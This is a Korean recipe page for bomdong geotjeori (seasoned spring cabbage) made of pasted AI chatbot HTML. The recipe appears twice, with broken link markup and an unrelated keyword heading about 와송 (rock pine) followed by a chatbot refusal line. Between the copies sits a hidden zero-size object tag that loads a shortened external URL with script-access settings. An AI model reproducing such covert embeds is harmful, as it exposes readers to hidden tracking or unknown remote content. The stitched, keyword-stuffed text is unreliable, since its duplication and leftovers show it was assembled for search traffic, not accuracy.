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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">봄동 겉절이 만들기: 봄의 풍미를 한 입에!</h2><p data-sourcepos="3:1-3:107">봄철에 제철을 맞이하는 봄동은 겉절이로도 맛있게 즐길 수 있습니다. 봄동 겉절이는 싱싱한 봄동의 맛과 고소한 참깨 향이 어우러져 든든한 한 끼 식사로도 좋고, 밥도둑 역할도 톡톡히 해냅니다.</p><p data-sourcepos="5:1-5:36">오늘은 봄동 겉절이를 간단하고 맛있게 만드는 방법을 소개합니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-19:0">
<li data-sourcepos="9:1-9:11">봄동 1/2 포기</li>
<li data-sourcepos="10:1-10:10">고춧가루 2큰술</li>
<li data-sourcepos="11:1-11:10">멸치액젓 1큰술</li>
<li data-sourcepos="12:1-12:9">매실액 1큰술</li>
<li data-sourcepos="13:1-13:8">식초 1큰술</li>
<li data-sourcepos="14:1-14:10">설탕 1/2큰술</li>
<li data-sourcepos="15:1-15:9">참기름 1큰술</li>
<li data-sourcepos="16:1-16:11">다진 마늘 1큰술</li>
<li data-sourcepos="17:1-17:10">다진 파 1큰술</li>
<li data-sourcepos="18:1-19:0">참깨 適量</li>
</ul><p data-sourcepos="20:1-20:9"><strong>만드는 법</strong></p><ol data-sourcepos="22:1-23:0">
<li data-sourcepos="22:1-23:0"><strong>봄동 준비</strong></li>
</ol><ul data-sourcepos="24:3-26:0">
<li data-sourcepos="24:3-24:32">봄동은 깨끗이 씻어 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="25:3-26:0">큰 잎은 2~3등분으로, 작은 잎은 그대로 사용합니다.</li>
</ul><ol data-sourcepos="27:1-28:0" start="2">
<li data-sourcepos="27:1-28:0"><strong>양념 만들기</strong></li>
</ol><ul data-sourcepos="29:3-30:0">
<li data-sourcepos="29:3-30:0">고춧가루, 멸치액젓, 매실액, 식초, 설탕, 참기름, 다진 마늘, 다진 파를 넣고 잘 섞어줍니다.</li>
</ul><ol data-sourcepos="31:1-32:0" start="3">
<li data-sourcepos="31:1-32:0"><strong>봄동 버무리기</strong></li>
</ol><ul data-sourcepos="33:3-35:0">
<li data-sourcepos="33:3-33:30">썰어둔 봄동을 양념에 넣고 골고루 버무립니다.</li>
<li data-sourcepos="34:3-35:0">봄동이 양념에 골고루 묻도록 잘 섞어줍니다.</li>
</ul><ol data-sourcepos="36:1-37:0" start="4">
<li data-sourcepos="36:1-37:0"><strong>마무리</strong></li>
</ol><ul data-sourcepos="38:3-39:0">
<li data-sourcepos="38:3-39:0">버무린 봄동을 접시에 담고 참깨를 뿌려 마무리합니다.</li>
</ul><p data-sourcepos="40:1-40:5"><strong>팁</strong></p><ul data-sourcepos="42:1-46:0">
<li data-sourcepos="42:1-42:32">매운 것을 좋아하신다면 고춧가루를 더 넣어도 좋습니다.</li>
<li data-sourcepos="43:1-43:27">다진 마늘 대신 마늘 간을 사용해도 좋습니다.</li>
<li data-sourcepos="44:1-44:32">풋고추나 깻잎을 넣어도 더욱 맛있게 즐길 수 있습니다.</li>
<li data-sourcepos="45:1-46:0">냉장 보관하여 2~3일 안에 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="47:1-47:13"><strong>봄동 겉절이 사진</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><image-carousel _nghost-ng-c93442160="" class="ng-star-inserted"><single-image _ngcontent-ng-c93442160="" class="carousel-image ng-star-inserted" _nghost-ng-c2079154043="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce18d084a8f1e346&quot;,&quot;c_6c52741e611807ed&quot;,null,&quot;rc_4f2e6de7ae83e08f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce18d084a8f1e346&quot;,&quot;c_6c52741e611807ed&quot;,null,&quot;rc_4f2e6de7ae83e08f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5801419"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="봄동 겉절이 " src="https://lh3.googleusercontent.com/bip/ACo7QZ6n93HIObikuRYb8VZUcISPfbOzk29ZjGD9x0gNLsYcLeo9-IFMVGxkR8MOpoKbRODroAgi5VW5mX_5DW5P-oO8NQlSNwSewpI3CmvG0sTgs2Cvp6TWclJGNHVSl5_sLv2JVNNHSAcngNaYK49v4xEBTZc1Pe2BUYbNJkeqwIaj=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><carousel-controls _ngcontent-ng-c93442160="" overlay="" _nghost-ng-c4051761397="" class="ng-star-inserted"><div _ngcontent-ng-c4051761397="" class="auto-hide-side-arrows"><!----><div _ngcontent-ng-c4051761397="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4051761397="" class="carousel-dots"><!----><div _ngcontent-ng-c4051761397="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4051761397="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4051761397="" class="dot ng-star-inserted"></div><!----><!----></div><div _ngcontent-ng-c4051761397="" class="carousel-button-container previous swipeable-area"><!----></div><div _ngcontent-ng-c4051761397="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4051761397="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button gmat-mdc-button-with-prefix mat-unthemed mat-mdc-button-base gmat-mdc-button ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4051761397="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4051761397="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><!----></div></div><!----></div></carousel-controls><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/5801419" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ce18d084a8f1e346&quot;,&quot;c_6c52741e611807ed&quot;,null,&quot;rc_4f2e6de7ae83e08f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 봄동 겉절이 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="51:1-51:13"><strong>봄동 겉절이 후기</strong></p><p data-sourcepos="53:1-53:101">저는 직접 봄동 겉절이를 만들어 먹어봤는데 정말 맛있었습니다. 봄동의 싱싱한 맛과 고소한 참깨 향이 어우러져 정말 좋았습니다. 매콤한 맛도 적당해서 밥도둑 역할도 톡톡히 했습니다.</p><p data-sourcepos="55:1-55:74">만드는 방법도 간단해서 누구나 쉽게 만들 수 있다고 생각합니다. 봄철에 제철 봄동을 활용하여 봄동 겉절이를 만들어 맛있게 즐겨보세요!</p><p data-sourcepos="58:1-58:25"><strong>와송 효능 부작용 바위솔 와송즙 와송주</strong></p><p data-sourcepos="60:1-60:77">본 질문에는 봄동 겉절이 만드는 법만 요청하셨기 때문에 와송 효능, 부작용, 바위솔, 와송즙, 와송주에 대한 정보는 제공하지 않겠습니다.</p><p data-sourcepos="62:1-62:9"><strong>주의 사항</strong></p><ul data-sourcepos="64:1-66:0">
<li data-sourcepos="64:1-64:49">봄동 겉절이를 만들 때 깨끗한 손을 사용하고, 재료도 깨끗하게 씻어 사용해야 합니다.</li>
<li data-sourcepos="65:1-66:0">봄동 겉절이는 냉장 보관하여 2~3일 안에 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="67:1-67:22"><strong>봄동 겉절이를 맛있게 즐겨보세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">봄동 겉절이 만들기: 봄의 풍미를 한 입에!</h2><p data-sourcepos="3:1-3:107">봄철에 제철을 맞이하는 봄동은 겉절이로도 맛있게 즐길 수 있습니다. 봄동 겉절이는 싱싱한 봄동의 맛과 고소한 참깨 향이 어우러져 든든한 한 끼 식사로도 좋고, 밥도둑 역할도 톡톡히 해냅니다.</p><p data-sourcepos="5:1-5:36">오늘은 봄동 겉절이를 간단하고 맛있게 만드는 방법을 소개합니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-19:0">
<li data-sourcepos="9:1-9:11">봄동 1/2 포기</li>
<li data-sourcepos="10:1-10:10">고춧가루 2큰술</li>
<li data-sourcepos="11:1-11:10">멸치액젓 1큰술</li>
<li data-sourcepos="12:1-12:9">매실액 1큰술</li>
<li data-sourcepos="13:1-13:8">식초 1큰술</li>
<li data-sourcepos="14:1-14:10">설탕 1/2큰술</li>
<li data-sourcepos="15:1-15:9">참기름 1큰술</li>
<li data-sourcepos="16:1-16:11">다진 마늘 1큰술</li>
<li data-sourcepos="17:1-17:10">다진 파 1큰술</li>
<li data-sourcepos="18:1-19:0">참깨 適量</li>
</ul><p data-sourcepos="20:1-20:9"><strong>만드는 법</strong></p><ol data-sourcepos="22:1-23:0">
<li data-sourcepos="22:1-23:0"><strong>봄동 준비</strong></li>
</ol><ul data-sourcepos="24:3-26:0">
<li data-sourcepos="24:3-24:32">봄동은 깨끗이 씻어 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="25:3-26:0">큰 잎은 2~3등분으로, 작은 잎은 그대로 사용합니다.</li>
</ul><ol data-sourcepos="27:1-28:0" start="2">
<li data-sourcepos="27:1-28:0"><strong>양념 만들기</strong></li>
</ol><ul data-sourcepos="29:3-30:0">
<li data-sourcepos="29:3-30:0">고춧가루, 멸치액젓, 매실액, 식초, 설탕, 참기름, 다진 마늘, 다진 파를 넣고 잘 섞어줍니다.</li>
</ul><ol data-sourcepos="31:1-32:0" start="3">
<li data-sourcepos="31:1-32:0"><strong>봄동 버무리기</strong></li>
</ol><ul data-sourcepos="33:3-35:0">
<li data-sourcepos="33:3-33:30">썰어둔 봄동을 양념에 넣고 골고루 버무립니다.</li>
<li data-sourcepos="34:3-35:0">봄동이 양념에 골고루 묻도록 잘 섞어줍니다.</li>
</ul><ol data-sourcepos="36:1-37:0" start="4">
<li data-sourcepos="36:1-37:0"><strong>마무리</strong></li>
</ol><ul data-sourcepos="38:3-39:0">
<li data-sourcepos="38:3-39:0">버무린 봄동을 접시에 담고 참깨를 뿌려 마무리합니다.</li>
</ul><p data-sourcepos="40:1-40:5"><strong>팁</strong></p><ul data-sourcepos="42:1-46:0">
<li data-sourcepos="42:1-42:32">매운 것을 좋아하신다면 고춧가루를 더 넣어도 좋습니다.</li>
<li data-sourcepos="43:1-43:27">다진 마늘 대신 마늘 간을 사용해도 좋습니다.</li>
<li data-sourcepos="44:1-44:32">풋고추나 깻잎을 넣어도 더욱 맛있게 즐길 수 있습니다.</li>
<li data-sourcepos="45:1-46:0">냉장 보관하여 2~3일 안에 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="47:1-47:13"><strong>봄동 겉절이 사진</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><image-carousel _nghost-ng-c93442160="" class="ng-star-inserted"><single-image _ngcontent-ng-c93442160="" class="carousel-image ng-star-inserted" _nghost-ng-c2079154043="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_ce18d084a8f1e346","c_6c52741e611807ed",null,"rc_4f2e6de7ae83e08f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ce18d084a8f1e346","c_6c52741e611807ed",null,"rc_4f2e6de7ae83e08f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5801419"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="봄동 겉절이 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ6n93HIObikuRYb8VZUcISPfbOzk29ZjGD9x0gNLsYcLeo9-IFMVGxkR8MOpoKbRODroAgi5VW5mX_5DW5P-oO8NQlSNwSewpI3CmvG0sTgs2Cvp6TWclJGNHVSl5_sLv2JVNNHSAcngNaYK49v4xEBTZc1Pe2BUYbNJkeqwIaj%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><carousel-controls _ngcontent-ng-c93442160="" overlay="" _nghost-ng-c4051761397="" class="ng-star-inserted"><div _ngcontent-ng-c4051761397="" class="auto-hide-side-arrows"><!----><div _ngcontent-ng-c4051761397="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4051761397="" class="carousel-dots"><!----><div _ngcontent-ng-c4051761397="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4051761397="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4051761397="" class="dot ng-star-inserted"></div><!----><!----></div><div _ngcontent-ng-c4051761397="" class="carousel-button-container previous swipeable-area"><!----></div><div _ngcontent-ng-c4051761397="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4051761397="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button gmat-mdc-button-with-prefix mat-unthemed mat-mdc-button-base gmat-mdc-button ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4051761397="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4051761397="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><!----></div></div><!----></div></carousel-controls><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/5801419" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ce18d084a8f1e346","c_6c52741e611807ed",null,"rc_4f2e6de7ae83e08f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 봄동 겉절이 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="51:1-51:13"><strong>봄동 겉절이 후기</strong></p><p data-sourcepos="53:1-53:101">저는 직접 봄동 겉절이를 만들어 먹어봤는데 정말 맛있었습니다. 봄동의 싱싱한 맛과 고소한 참깨 향이 어우러져 정말 좋았습니다. 매콤한 맛도 적당해서 밥도둑 역할도 톡톡히 했습니다.</p><p data-sourcepos="55:1-55:74">만드는 방법도 간단해서 누구나 쉽게 만들 수 있다고 생각합니다. 봄철에 제철 봄동을 활용하여 봄동 겉절이를 만들어 맛있게 즐겨보세요!</p><p data-sourcepos="58:1-58:25"><strong>와송 효능 부작용 바위솔 와송즙 와송주</strong></p><p data-sourcepos="60:1-60:77">본 질문에는 봄동 겉절이 만드는 법만 요청하셨기 때문에 와송 효능, 부작용, 바위솔, 와송즙, 와송주에 대한 정보는 제공하지 않겠습니다.</p><p data-sourcepos="62:1-62:9"><strong>주의 사항</strong></p><ul data-sourcepos="64:1-66:0">
<li data-sourcepos="64:1-64:49">봄동 겉절이를 만들 때 깨끗한 손을 사용하고, 재료도 깨끗하게 씻어 사용해야 합니다.</li>
<li data-sourcepos="65:1-66:0">봄동 겉절이는 냉장 보관하여 2~3일 안에 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="67:1-67:22"><strong>봄동 겉절이를 맛있게 즐겨보세요!</strong></p></div>
</div></div>
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봄동 겉절이 만들기 만드는법
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